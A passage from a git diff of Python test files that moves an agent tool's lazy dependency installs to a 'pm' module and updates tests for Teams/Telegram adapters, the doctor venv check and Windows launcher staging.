ensure_and_bind("teams", ...) — parity with Slack/Discord. monkeypatch.setattr(_teams_mod, "App", None) monkeypatch.setattr(_teams_mod, "TEAMS_SDK_AVAILABLE", False) monkeypatch.setattr(_teams_mod, "AIOHTTP_AVAILABLE", False) @@ -248,10 +248,10 @@ class TestTeamsRequirements: return True monkeypatch.setattr( - "tools.lazy_deps.ensure_and_bind", _fake_ensure_and_bind + "pm.extras.ensure_and_bind", _fake_ensure_and_bind ) assert check_teams_requirements() is True - assert seen["feature"] == "platform.teams" + assert seen["feature"] == "teams" def test_validate_config_with_env(self, monkeypatch): monkeypatch.setenv("TEAMS_CLIENT_ID", "test-id") @@ -365,7 +365,7 @@ class TestTeamsConnect: # locked-down env): the lazy-installer can't rebind the globals, so # App stays None and connect() must fail without calling it. monkeypatch.setattr( - "tools.lazy_deps.ensure_and_bind", + "pm.extras.ensure_and_bind", lambda *_a, **_k: False, ) adapter = TeamsAdapter(_make_config( @@ -385,7 +385,7 @@ class TestTeamsConnect: monkeypatch.setattr(_teams_mod, "ClientOptions", None) monkeypatch.setattr(_teams_mod, "AIOHTTP_AVAILABLE", True) monkeypatch.setattr( - "tools.lazy_deps.ensure_and_bind", + "pm.extras.ensure_and_bind", lambda *_a, **_k: False, ) adapter = TeamsAdapter(_make_config( diff --git a/tests/gateway/test_teams_dotenv_isolation.py b/tests/gateway/test_teams_dotenv_isolation.py index 794d32ed9a..2d2162eec4 100644 --- a/tests/gateway/test_teams_dotenv_isolation.py +++ b/tests/gateway/test_teams_dotenv_isolation.py @@ -134,6 +134,13 @@ class TestTeamsAdapterImportDoesNotLeakDotenv: def test_namespace_without_apps_is_not_sdk_available(self, monkeypatch): """A sibling microsoft_teams package must not count as the Teams SDK.""" + # Drop any microsoft_teams.* stubs leaked into sys.modules by sibling + # test modules (test_teams.py installs them with setdefault at import + # time) — the probe falls back to a sys.modules check when specs are + # missing, so a leaked "microsoft_teams.apps" stub flips it to True. + for name in list(sys.modules): + if name == "microsoft_teams" or name.startswith("microsoft_teams."): + monkeypatch.delitem(sys.modules, name, raising=False) ns = types.ModuleType("microsoft_teams") ns.__path__ = [] # type: ignore[attr-defined] monkeypatch.setitem(sys.modules, "microsoft_teams", ns) @@ -200,7 +207,7 @@ class TestTeamsAdapterImportDoesNotLeakDotenv: monkeypatch.setattr(teams_adapter, "AIOHTTP_AVAILABLE", True) def _fake_ensure_and_bind(feature, importer, target_globals, **kwargs): - assert feature == "platform.teams" + assert feature == "teams" # Call dotenv the way microsoft_teams.apps.app does, but from inside # the importer which wraps SDK imports in _suppress_third_party_dotenv. # We inject the dotenv call by wrapping the importer. @@ -216,7 +223,7 @@ class TestTeamsAdapterImportDoesNotLeakDotenv: return True monkeypatch.setattr( - "tools.lazy_deps.ensure_and_bind", _fake_ensure_and_bind + "pm.extras.ensure_and_bind", _fake_ensure_and_bind ) assert teams_adapter.check_teams_requirements() is True assert CANARY_KEY not in os.environ diff --git a/tests/gateway/test_telegram_lazy_install_typehandler.py b/tests/gateway/test_telegram_lazy_install_typehandler.py index f26c493c8e..071de6aa2b 100644 --- a/tests/gateway/test_telegram_lazy_install_typehandler.py +++ b/tests/gateway/test_telegram_lazy_install_typehandler.py @@ -103,10 +103,10 @@ def test_lazy_install_rebinds_every_placeholder(monkeypatch, fake_telegram_sdk): """Every symbol the fallback stubbed must be rebound by the lazy install.""" import plugins.platforms.telegram.adapter as adapter - from tools import lazy_deps + import pm # The package is already in sys.modules; installing it would be a no-op. - monkeypatch.setattr(lazy_deps, "ensure", lambda key, prompt=False: None) + monkeypatch.setattr(pm, "ensure_import", lambda extra: None) # Reconstruct the imported-before-installed state the fallback leaves behind. monkeypatch.setattr(adapter, "TELEGRAM_AVAILABLE", False) diff --git a/tests/hermes_cli/conftest.py b/tests/hermes_cli/conftest.py index 2848a8a9aa..ececafb427 100644 --- a/tests/hermes_cli/conftest.py +++ b/tests/hermes_cli/conftest.py @@ -54,3 +54,21 @@ def _suppress_concurrent_hermes_gate(request, monkeypatch): lambda *_a, **_k: [], raising=False, ) + + +@pytest.fixture +def patch_pm_uv_to_shutil_which(): + """Make pm.uv follow shutil.which mocking; update-flow test modules that + stub uv availability via shutil.which patches apply this autouse=True.""" + import os + import shutil + from unittest.mock import patch + + def _fake_pm_uv(*, venv=None, realize=True): + env = dict(os.environ) + if venv is not None: + env["VIRTUAL_ENV"] = str(venv) + return shutil.which("uv"), env + + with patch("pm.uv", side_effect=_fake_pm_uv): + yield diff --git a/tests/hermes_cli/test_certifi_repair.py b/tests/hermes_cli/test_certifi_repair.py index 85c22abd7f..28a98bb5de 100644 --- a/tests/hermes_cli/test_certifi_repair.py +++ b/tests/hermes_cli/test_certifi_repair.py @@ -69,65 +69,6 @@ class TestEarlyRecoveryCertifiBundleProbe: assert "certifi" in broken -class TestUpdateProbeScriptChecksBundle: - """The subprocess probe used by `hermes update`'s venv repair must apply - the same bundle-file check inside the target venv's interpreter.""" - - def _run_probe_script(self, monkeypatch, tmp_path, bundle_path): - """Extract the generated probe script and run it in-process against a - fake certifi that points at bundle_path.""" - from hermes_cli import main as main_mod - - captured = {} - - def fake_run(cmd, **kwargs): - captured["script"] = cmd[-1] - - class _R: - returncode = 0 - stdout = "" - stderr = "" - - return _R() - - monkeypatch.setattr(main_mod.subprocess, "run", fake_run) - monkeypatch.setattr( - main_mod, "_resolve_install_target_python", lambda *a, **k: sys.executable - ) - main_mod._detect_broken_lazy_refresh_imports(["pip"]) - script = captured["script"] - - # Execute the probe script with a fake certifi installed. - _fake_certifi(monkeypatch, bundle_path) - printed = [] - namespace = {"__builtins__": __builtins__} - import builtins as _b - - real_print = _b.print - monkeypatch.setattr( - _b, "print", lambda *a, **k: printed.append(" ".join(map(str, a))) - ) - try: - exec(script, namespace) - finally: - monkeypatch.setattr(_b, "print", real_print) - return "\n".join(printed) - - - def test_probe_script_quiet_when_bundle_healthy(self, monkeypatch, tmp_path): - import certifi as real_certifi - - out = self._run_probe_script( - monkeypatch, tmp_path, Path(real_certifi.where()) - ) - assert "certifi" not in out.splitlines() - - -# ========================================================================= -# 2. hermes doctor: detection and --fix repair -# ========================================================================= - - class TestDoctorCertificates: def test_broken_bundle_fails_without_fix(self, monkeypatch, capsys, tmp_path): from hermes_cli import doctor as doctor_mod diff --git a/tests/hermes_cli/test_dep_ensure.py b/tests/hermes_cli/test_dep_ensure.py index 17b37d1f5d..bbf5df939e 100644 --- a/tests/hermes_cli/test_dep_ensure.py +++ b/tests/hermes_cli/test_dep_ensure.py @@ -1,125 +1,67 @@ +"""ensure_dependency routes through pm: availability checks stay local, +installs go to pm.ensure, and pm's lazy-install policy owns refusal.""" + from unittest.mock import patch import pytest -@pytest.mark.linux_only -def test_find_install_script_from_checkout(tmp_path): - """_find_install_script finds scripts/install.sh in a git checkout. +def test_unknown_dep_refused(): + from hermes_cli.dep_ensure import ensure_dependency - ``linux_only``: the POSIX arm picks ``install.sh`` + ``bash``, which is - already what ``_IS_WINDOWS`` reports here — nothing needs faking. - """ - from hermes_cli.dep_ensure import _find_install_script - scripts_dir = tmp_path / "scripts" - scripts_dir.mkdir() - (scripts_dir / "install.sh").write_text("#!/bin/bash", encoding="utf-8") - path, shell = _find_install_script(package_dir=tmp_path / "hermes_cli", repo_root=tmp_path) - assert path is not None - assert path.name == "install.sh" - assert shell == "bash" + assert ensure_dependency("not-a-dep") is False - - - - - - -def test_has_npx_agent_browser_true_when_npx_resolves(): - """agent-browser resolves lazily via npx on the default install (#43564) - — _has_npx_agent_browser mirrors the runtime cascade so the "browser" dep - check doesn't wrongly report it missing.""" - from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt - - with patch.object(bt, "_find_agent_browser", return_value="npx agent-browser"), \ - patch.object(bt, "_requires_real_termux_browser_install", return_value=False): - assert _has_npx_agent_browser() is True - - -def test_has_npx_agent_browser_false_on_termux_local_bare_npx(): - from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt - - with patch.object(bt, "_find_agent_browser", return_value="npx agent-browser"), \ - patch.object(bt, "_requires_real_termux_browser_install", return_value=True): - assert _has_npx_agent_browser() is False - - -def test_has_npx_agent_browser_false_when_nothing_resolves(): - from hermes_cli.dep_ensure import _has_npx_agent_browser - import tools.browser_tool as bt - - def _raise(**_kw): - raise FileNotFoundError("agent-browser CLI not found") - - with patch.object(bt, "_find_agent_browser", _raise): - assert _has_npx_agent_browser() is False - - -def test_find_agent_browser_lazy_install_cycle_terminates(monkeypatch): - """tools.browser_tool._find_agent_browser's "nothing found" branch calls - ensure_dependency("browser"), whose "browser" check now includes - _has_npx_agent_browser() -> _find_agent_browser(validate=False) again. - That nested call must NOT be able to trigger another ensure_dependency - call (only validate=True does that) — verifying the cycle is bounded to - one extra rescan, not unbounded recursion, using the real functions on - both sides rather than mocking the cycle away.""" - import shutil - import tools.browser_tool as bt +def test_available_dep_short_circuits(monkeypatch): from hermes_cli import dep_ensure - monkeypatch.setattr(bt, "_cached_agent_browser", None) - monkeypatch.setattr(bt, "_agent_browser_resolved", False) - monkeypatch.setattr(shutil, "which", lambda *a, **k: None) - monkeypatch.setattr(bt, "_resolve_npx_bin", lambda: None) - monkeypatch.setattr(dep_ensure, "_has_system_browser", lambda: False) - monkeypatch.setattr(dep_ensure, "_has_hermes_agent_browser", lambda: False) - monkeypatch.setattr(dep_ensure, "_find_install_script", lambda *a, **k: (None, None)) - - real_find_agent_browser = bt._find_agent_browser - validate_calls = [] - - def counting_find_agent_browser(*, validate=True): - validate_calls.append(validate) - return real_find_agent_browser(validate=validate) - - monkeypatch.setattr(bt, "_find_agent_browser", counting_find_agent_browser) - - with pytest.raises(FileNotFoundError): - bt._find_agent_browser(validate=True) - - # One outer validate=True call, plus exactly one bounded nested - # validate=False rescan from _has_npx_agent_browser inside - # ensure_dependency's "browser" check — not unbounded recursion, and not - # a second ensure_dependency("browser") call (which would show up as a - # second `True` in this list). - assert validate_calls == [True, False] + monkeypatch.setitem( + dep_ensure._DEPS, "node", (lambda: True, ("node",)) + ) + called = [] + with patch("pm.ensure", side_effect=lambda *a, **k: called.append(a)): + assert dep_ensure.ensure_dependency("node") is True + assert called == [] -@pytest.mark.windows_only -def test_ensure_dependency_uses_powershell_on_windows(tmp_path): - """``windows_only``: the assertion is that we shell out to a real - PowerShell. Faking ``_IS_WINDOWS`` on Linux also required faking - ``shutil.which`` into inventing a powershell.exe that isn't there.""" - from hermes_cli.dep_ensure import ensure_dependency - scripts_dir = tmp_path / "scripts" - scripts_dir.mkdir(parents=True) - (scripts_dir / "install.ps1").write_text("# fake") - with patch("hermes_cli.dep_ensure._DEP_CHECKS", {"node": lambda: False}), \ - patch("hermes_cli.dep_ensure._find_install_script", return_value=(scripts_dir / "install.ps1", "powershell")), \ - patch("hermes_cli.dep_ensure.shutil") as mock_shutil, \ - patch("hermes_constants.get_hermes_home", return_value=tmp_path / "fakehome"), \ - patch("subprocess.run") as mock_run, \ - patch("sys.stdin") as mock_stdin: - mock_shutil.which.side_effect = lambda name: "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" if name == "powershell" else None - mock_stdin.isatty.return_value = False - mock_run.return_value = type("R", (), {"returncode": 0})() - ensure_dependency("node", interactive=False) - cmd = mock_run.call_args[0][0] - assert "powershell" in cmd[0].lower() - assert "-Ensure" in cmd - assert cmd[cmd.index("-Ensure") + 1] == "node" - assert "-HermesHome" in cmd - assert str(tmp_path / "fakehome") in cmd +def test_missing_dep_installs_through_pm(monkeypatch): + from hermes_cli import dep_ensure + + state = {"installed": False} + monkeypatch.setitem( + dep_ensure._DEPS, "node", (lambda: state["installed"], ("node",)) + ) + + def fake_ensure(name, **kw): + assert name == "node" + state["installed"] = True + + with patch("pm.ensure", side_effect=fake_ensure): + assert dep_ensure.ensure_dependency("node") is True + + +def test_pm_refusal_reports_and_returns_false(monkeypatch, capsys): + from hermes_cli import dep_ensure + + monkeypatch.setitem( + dep_ensure._DEPS, "node", (lambda: False, ("node",)) + ) + import pm as pm_mod + + def refuse(name, **kw): + raise pm_mod.InstallError(name, "lazy installs are disabled", "run `hermes pm install`") + + with patch("pm.ensure", side_effect=refuse): + assert dep_ensure.ensure_dependency("node", interactive=True) is False + out = capsys.readouterr().out + assert "hermes pm install" in out + + +def test_browser_check_consults_pm(monkeypatch): + from hermes_cli import dep_ensure + + monkeypatch.setattr("shutil.which", lambda *a, **k: None) + with patch("pm.is_installed", return_value=True): + assert dep_ensure._browser_available() is True + with patch("pm.is_installed", return_value=False): + assert dep_ensure._browser_available() is False diff --git a/tests/hermes_cli/test_doctor.py b/tests/hermes_cli/test_doctor.py index 08e6a15e39..4ffa3eb480 100644 --- a/tests/hermes_cli/test_doctor.py +++ b/tests/hermes_cli/test_doctor.py @@ -1664,3 +1664,62 @@ class TestMacOSTCCGrants: out = capsys.readouterr().out assert "could not read code-signing requirement" in out assert "stable" not in out + + +class TestPmVenvActive: + """_pm_venv_active() resolves the runtime venv from pm's facts/store, + not from sys.prefix sniffing (which degrades under + no-boot-through-venv, where sys.prefix == sys.base_prefix always and + VIRTUAL_ENV is unset in bundled installs).""" + + def test_pm_provisioned_venv_is_active_without_virtual_env(self, tmp_path, monkeypatch): + import json + + payload = tmp_path / "payload" + store = payload / "tools" + (payload / "venv").mkdir(parents=True) + store.mkdir(parents=True, exist_ok=True) + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + {"schema": 1, "packages": {"venv": {"stamp": "abc", "extras": []}}} + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + # No sys.prefix venv: the legacy probe alone would say False. + monkeypatch.setattr(doctor_mod.sys, "prefix", "/usr") + monkeypatch.setattr(doctor_mod.sys, "base_prefix", "/usr") + + assert doctor_mod._pm_venv_active() is True + + def test_no_venv_fact_falls_back_to_legacy_probe(self, tmp_path, monkeypatch): + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "no-such-store")) + monkeypatch.delenv("VIRTUAL_ENV", raising=False) + monkeypatch.setattr(doctor_mod.sys, "prefix", "/usr") + monkeypatch.setattr(doctor_mod.sys, "base_prefix", "/usr") + + assert doctor_mod._pm_venv_active() is False + + monkeypatch.setattr(doctor_mod.sys, "prefix", "/some/venv") + assert doctor_mod._pm_venv_active() is True + + def test_bundled_venv_fact_without_venv_dir_is_not_active(self, tmp_path, monkeypatch): + import json + + payload = tmp_path / "payload" + store = payload / "tools" + store.mkdir(parents=True) + (payload / "manifest.json").write_text("{}", encoding="utf-8") + (store / "facts.json").write_text( + json.dumps( + {"schema": 1, "packages": {"venv": {"stamp": "abc", "extras": []}}} + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + monkeypatch.setattr(doctor_mod.sys, "prefix", "/usr") + monkeypatch.setattr(doctor_mod.sys, "base_prefix", "/usr") + + assert doctor_mod._pm_venv_active() is False diff --git a/tests/hermes_cli/test_ensure_windows_bin_launchers.py b/tests/hermes_cli/test_ensure_windows_bin_launchers.py index e2001cbf7d..5a9a2a127a 100644 --- a/tests/hermes_cli/test_ensure_windows_bin_launchers.py +++ b/tests/hermes_cli/test_ensure_windows_bin_launchers.py @@ -1,27 +1,31 @@ """``hermes`` must survive git operations on the checkout (launcher layout). -The Windows ``hermes`` command is a launcher derived from the venv console -script. Its canonical home is the managed binary dir ``HERMES_HOME\\bin`` — -OUTSIDE the git checkout — because the earlier in-checkout home -(``hermes-agent\\bin``) was swept by ``hermes update``'s autostash -(``git stash push --include-untracked``) and, with the desktop updater's -``--keep-stash``, never restored: ``hermes`` stopped resolving in every new -terminal (``venv\\Scripts`` itself must stay off PATH — it shadows the -user's ``python``, #83797). +The Windows ``hermes`` command is a staged launcher whose canonical home is +the managed binary dir ``HERMES_HOME\\bin`` — OUTSIDE the git checkout — +because the earlier in-checkout home (``hermes-agent\\bin``) was swept by +``hermes update``'s autostash (``git stash push --include-untracked``) and, +with the desktop updater's ``--keep-stash``, never restored: ``hermes`` +stopped resolving in every new terminal (``venv\\Scripts`` itself must stay +off PATH — it shadows the user's ``python``, #83797). -``ensure_windows_bin_launchers`` re-stages missing launchers (canonical dir -always for the managed clone; legacy dir only while the user PATH still -points at it), choosing the form by venv kind: exe copy for normal venvs, -``.cmd`` delegator for relocatable venvs whose exe trampolines die when -copied out of ``venv\\Scripts``. ``migrate_windows_bin_path`` moves an -existing install's PATH to the canonical layout from the ``hermes update`` -tail. Platform verdict, PATH values, and registry I/O are injected -parameters (same pattern as ``hermes_constants.venv_bin_dir``), so these -tests are host-independent input→output checks, not host fakes. +Under pm (no-boot-through-venv), ``ensure_windows_bin_launchers`` re-stages +launchers that boot the pm STORE python with ``PYTHONPATH=repo;site-packages`` +— never ``venv\\Scripts\\python.exe`` (``pyvenv.cfg`` is inert dead config). +When the store interpreter has not materialized yet, a runtime-resolving +``.cmd`` delegator is staged that finds the store python at boot and fails +with a clear message until ``hermes pm install`` lands it; legacy copied +venv trampolines (detected by their embedded interpreter path) are replaced. +``migrate_windows_bin_path`` moves an existing install's PATH to the +canonical layout from the ``hermes update`` tail. Platform verdict, PATH +values, and registry I/O are injected parameters (same pattern as +``hermes_constants.venv_bin_dir``), so these tests are host-independent +input→output checks, not host fakes. """ from pathlib import Path +import json + import pytest from hermes_cli._install_repair import ( @@ -32,76 +36,157 @@ from hermes_cli._install_repair import ( ) -def _make_managed(tmp_path, monkeypatch, *, relocatable: bool = False): - """Fake managed layout: HERMES_HOME/hermes-agent/venv/Scripts + launchers.""" +def _make_managed(tmp_path, monkeypatch): + """Fake managed layout: HERMES_HOME/hermes-agent/venv (+ a fake venv + python whose path legacy trampolines would embed).""" home = tmp_path / "hermes" root = home / "hermes-agent" - scripts = root / "venv" / "Scripts" - scripts.mkdir(parents=True) - for name in _WINDOWS_BIN_LAUNCHERS: - (scripts / f"{name}.exe").write_bytes(b"MZ console script: " + name.encode()) - cfg = "home = X\nversion_info = 3.11.15\n" - if relocatable: - cfg += "relocatable = true\n" - (root / "venv" / "pyvenv.cfg").write_text(cfg, encoding="utf-8") + (root / "venv" / "Scripts").mkdir(parents=True) + (root / "venv" / "Scripts" / "python.exe").write_bytes(b"MZ fake venv python") + (root / "venv" / "pyvenv.cfg").write_text("home = X\n", encoding="utf-8") monkeypatch.setenv("HERMES_HOME", str(home)) return home, root +def _make_store(tmp_path, monkeypatch, *, version="3.11.15+x20260807"): + """A fake pm store with a materialized python package. The interpreter + file's bytes don't matter — the heal stages launchers, it never runs + them — but the LAYOUT must match what pm/paths.py + facts.json + describe (HERMES_RUNTIME_DIR override keeps tests off the real store).""" + store = tmp_path / "store" + entry = store / f"python-{version}-win32-arm64" + (entry / "bin").mkdir(parents=True) + (entry / "bin" / "python3").write_bytes(b"MZ fake store python") + # Windows layout: python.exe at the entry root. + (entry / "python.exe").write_bytes(b"MZ fake store python") + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": { + "python": {"entry": entry.name, "version": version} + }, + } + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + return store, entry + + +def _launcher_files(bin_dir: Path, name: str) -> list[Path]: + return [p for p in (bin_dir / name).parent.iterdir() if p.stem == name] + + +def _assert_boot_is_store_not_venv(launcher: Path, root: Path, store: Path): + """Whatever form staged, it must resolve to the STORE interpreter and + compose repo-first PYTHONPATH — and never reference the venv python.""" + venv_python = str(root / "venv" / "Scripts" / "python.exe") + if launcher.suffix == ".exe": + data = launcher.read_bytes() + assert venv_python.encode("utf-8") not in data + assert venv_python.encode("utf-16-le") not in data + assert str(store).encode("utf-8") in data + else: + body = launcher.read_text(encoding="utf-8") + assert venv_python not in body + assert "python-*" in body # store-python boot-time resolution + assert "pm install" in body # instructive failure until pm lands it + + @pytest.fixture def managed_install(tmp_path, monkeypatch): - return _make_managed(tmp_path, monkeypatch) + home, root = _make_managed(tmp_path, monkeypatch) + # Keep every test off the real machine store by default. + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) + return home, root -def test_managed_clone_heals_canonical_home_bin(managed_install): +def test_no_store_python_yet_stages_runtime_resolving_cmd(managed_install): + """A fresh install (store not materialized) still gets working launchers + — they resolve the store python AT BOOT and say so when it is absent.""" home, root = managed_install restored = ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) assert len(restored) == len(_WINDOWS_BIN_LAUNCHERS) for name in _WINDOWS_BIN_LAUNCHERS: - assert (home / "bin" / f"{name}.exe").read_bytes() == ( - root / "venv" / "Scripts" / f"{name}.exe" - ).read_bytes() + body = (home / "bin" / f"{name}.cmd").read_text(encoding="utf-8") + assert "python-*" in body + assert "pm install" in body + # Never a venv interpreter anywhere in the boot path. + assert "venv\\Scripts\\python" not in body + assert str(root / "venv") not in body.split("PYTHONPATH")[0] -def test_relocatable_venv_gets_cmd_delegators_not_exe_copies(tmp_path, monkeypatch): - """A copied relocatable-venv trampoline dies ('uv trampoline failed to - canonicalize script path') — the heal must emit .cmd delegators.""" - home, root = _make_managed(tmp_path, monkeypatch, relocatable=True) +def test_store_python_launcher_boot_the_store_not_the_venv(tmp_path, monkeypatch): + """With the store materialized, the staged launchers bind to the store + interpreter and never to the venv python.""" + home, root = _make_managed(tmp_path, monkeypatch) + store, entry = _make_store(tmp_path, monkeypatch) restored = ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) - assert {Path(p).suffix for p in restored} == {".cmd"} + assert len(restored) == len(_WINDOWS_BIN_LAUNCHERS) for name in _WINDOWS_BIN_LAUNCHERS: - body = (home / "bin" / f"{name}.cmd").read_text(encoding="ascii") - # Delegates to the in-venv exe by absolute path, forwarding args. - assert str(root / "venv" / "Scripts" / f"{name}.exe") in body - assert "%*" in body - assert not (home / "bin" / f"{name}.exe").exists() + staged = [p for p in map(Path, restored) if p.stem == name] + assert staged, name + _assert_boot_is_store_not_venv(staged[0], root, store) -def test_existing_exe_counts_as_present_for_relocatable_venv(tmp_path, monkeypatch): - """Exe copies staged before a venv rebuild embed the swapped-in-place - venv's absolute path and keep working — never replaced with .cmd.""" - home, root = _make_managed(tmp_path, monkeypatch, relocatable=True) - (home / "bin").mkdir() +def test_legacy_venv_trampoline_is_replaced_by_store_launcher( + tmp_path, monkeypatch +): + """Pre-pm installs carry copied venv console-script trampolines — they + boot through venv\\Scripts\\python.exe and must be replaced.""" + home, root = _make_managed(tmp_path, monkeypatch) + store, _entry = _make_store(tmp_path, monkeypatch) + bin_dir = home / "bin" + bin_dir.mkdir() + venv_python = str(root / "venv" / "Scripts" / "python.exe") for name in _WINDOWS_BIN_LAUNCHERS: - (home / "bin" / f"{name}.exe").write_bytes(b"pre-rebuild copy") + (bin_dir / f"{name}.exe").write_bytes( + b"MZ legacy trampoline " + venv_python.encode("utf-8") + ) + + restored = ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) + + assert set(Path(p).stem for p in map(Path, restored)) == set(_WINDOWS_BIN_LAUNCHERS) + for name in _WINDOWS_BIN_LAUNCHERS: + _assert_boot_is_store_not_venv(bin_dir / f"{name}.exe", root, store) + + +def test_healthy_store_launcher_is_a_noop(tmp_path, monkeypatch): + home, root = _make_managed(tmp_path, monkeypatch) + store, _entry = _make_store(tmp_path, monkeypatch) + bin_dir = home / "bin" + bin_dir.mkdir() + for name in _WINDOWS_BIN_LAUNCHERS: + # A launcher that does NOT embed the venv interpreter counts as + # present, whatever wrote it. + (bin_dir / f"{name}.exe").write_bytes(b"MZ already-staged launcher") assert ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) == [] for name in _WINDOWS_BIN_LAUNCHERS: - assert (home / "bin" / f"{name}.exe").read_bytes() == b"pre-rebuild copy" - assert not (home / "bin" / f"{name}.cmd").exists() + assert (bin_dir / f"{name}.exe").read_bytes() == b"MZ already-staged launcher" -def test_healthy_canonical_layout_is_a_noop(managed_install): - home, root = managed_install - (home / "bin").mkdir() +def test_healthy_canonical_layout_with_placeholder_cmds_gets_upgraded( + tmp_path, monkeypatch +): + """Placeholder .cmd delegators from the fresh install are upgraded to + store-python launchers once `hermes pm install` materialized the store.""" + home, root = _make_managed(tmp_path, monkeypatch) + bin_dir = home / "bin" + bin_dir.mkdir() + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) + ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) + store, _entry = _make_store(tmp_path, monkeypatch) + + ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) + for name in _WINDOWS_BIN_LAUNCHERS: - (home / "bin" / f"{name}.exe").write_bytes(b"present") - - assert ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) == [] + _assert_boot_is_store_not_venv(bin_dir / f"{name}.exe", root, store) def test_legacy_bin_restaged_only_while_on_user_path(managed_install): @@ -112,11 +197,11 @@ def test_legacy_bin_restaged_only_while_on_user_path(managed_install): root, windows=True, user_path_entries=[str(legacy)] ) - stems = {Path(p).stem for p in restored} + stems = {Path(p).stem for p in map(Path, restored)} assert set(_WINDOWS_BIN_LAUNCHERS) <= stems for name in _WINDOWS_BIN_LAUNCHERS: - assert (legacy / f"{name}.exe").is_file() # legacy consent honored - assert (home / "bin" / f"{name}.exe").is_file() # canonical healed too + assert (legacy / f"{name}.cmd").is_file() # legacy consent honored + assert (home / "bin" / f"{name}.cmd").is_file() # canonical healed too def test_legacy_bin_not_restaged_without_path_consent(managed_install): @@ -132,11 +217,9 @@ def test_source_checkout_untouched(tmp_path, monkeypatch): home = tmp_path / "hermes-home" home.mkdir() monkeypatch.setenv("HERMES_HOME", str(home)) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) root = tmp_path / "src" / "hermes-agent" - scripts = root / "venv" / "Scripts" - scripts.mkdir(parents=True) - for name in _WINDOWS_BIN_LAUNCHERS: - (scripts / f"{name}.exe").write_bytes(b"MZ") + (root / "venv" / "Scripts").mkdir(parents=True) assert ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) == [] assert not (home / "bin").exists() @@ -156,37 +239,26 @@ def test_profile_session_still_heals_the_shared_bin(tmp_path, monkeypatch): root and fire anyway — a habitual profile user gets the same repair.""" home = tmp_path / "hermes" root = home / "hermes-agent" - scripts = root / "venv" / "Scripts" - scripts.mkdir(parents=True) - for name in _WINDOWS_BIN_LAUNCHERS: - (scripts / f"{name}.exe").write_bytes(b"MZ") - (root / "venv" / "pyvenv.cfg").write_text("home = X\n", encoding="utf-8") + (root / "venv" / "Scripts").mkdir(parents=True) monkeypatch.setenv("HERMES_HOME", str(home / "profiles" / "work")) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) restored = ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) assert len(restored) == len(_WINDOWS_BIN_LAUNCHERS) for name in _WINDOWS_BIN_LAUNCHERS: - assert (home / "bin" / f"{name}.exe").is_file() + assert (home / "bin" / f"{name}.cmd").is_file() assert not (home / "profiles" / "work" / "bin").exists() -def test_noop_when_console_scripts_missing(tmp_path, monkeypatch): - """A venv mid-repair has no console scripts — nothing to copy, no error.""" - home = tmp_path / "hermes" - root = home / "hermes-agent" - (root / "venv" / "Scripts").mkdir(parents=True) - monkeypatch.setenv("HERMES_HOME", str(home)) - - assert ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) == [] - - def test_no_staging_litter_left_behind(managed_install): home, root = managed_install ensure_windows_bin_launchers(root, windows=True, user_path_entries=[]) - leftovers = [p.name for p in (home / "bin").iterdir() if ".heal." in p.name] + leftovers = [ + p.name for p in (home / "bin").iterdir() if ".stage." in p.name or ".heal." in p.name + ] assert leftovers == [] @@ -218,7 +290,7 @@ def test_migration_moves_path_to_home_bin_and_strips_legacy(managed_install): [legacy_bin, legacy_scripts, r"C:\Windows\system32"] ) (root / "bin").mkdir() - (root / "bin" / "hermes.exe").write_bytes(b"legacy copy") + (root / "bin" / "hermes.cmd").write_text("@echo off\r\n", encoding="ascii") ok = migrate_windows_bin_path( root, windows=True, read_user_path=read, write_user_path=write @@ -231,14 +303,15 @@ def test_migration_moves_path_to_home_bin_and_strips_legacy(managed_install): assert _normalize_windows_path(legacy_scripts) not in keys assert _normalize_windows_path(r"C:\Windows\system32") in keys # untouched for name in _WINDOWS_BIN_LAUNCHERS: - assert (home / "bin" / f"{name}.exe").is_file() + assert (home / "bin" / f"{name}.cmd").is_file() # Legacy FILES stay: editor/ACP configs holding absolute launcher paths # keep working. Only the PATH entry (the sweepable resolution route) goes. - assert (root / "bin" / "hermes.exe").read_bytes() == b"legacy copy" + assert (root / "bin" / "hermes.cmd").exists() -def test_migration_works_for_relocatable_venv(tmp_path, monkeypatch): - home, root = _make_managed(tmp_path, monkeypatch, relocatable=True) +def test_migration_works_when_only_legacy_copy_exists(tmp_path, monkeypatch): + home, root = _make_managed(tmp_path, monkeypatch) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "empty-store")) state, read, write = _fake_registry([str(root / "bin")]) ok = migrate_windows_bin_path( @@ -269,33 +342,37 @@ def test_migration_is_idempotent(managed_install): assert state["writes"] == first_writes # no redundant registry write -def test_migration_never_strips_path_when_staging_fails(tmp_path, monkeypatch): - """No venv sources → launchers can't stage → PATH must stay untouched.""" +def test_migration_works_with_empty_store(tmp_path, monkeypatch): + """Staging no longer depends on venv console scripts: even with an EMPTY + pm store (no python staged yet) the runtime-resolving delegators stage, + so the PATH migration completes; the cmd boot path is what instructs + the user to run `hermes pm install`.""" home = tmp_path / "hermes" root = home / "hermes-agent" - (root / "venv" / "Scripts").mkdir(parents=True) # no launcher exes inside 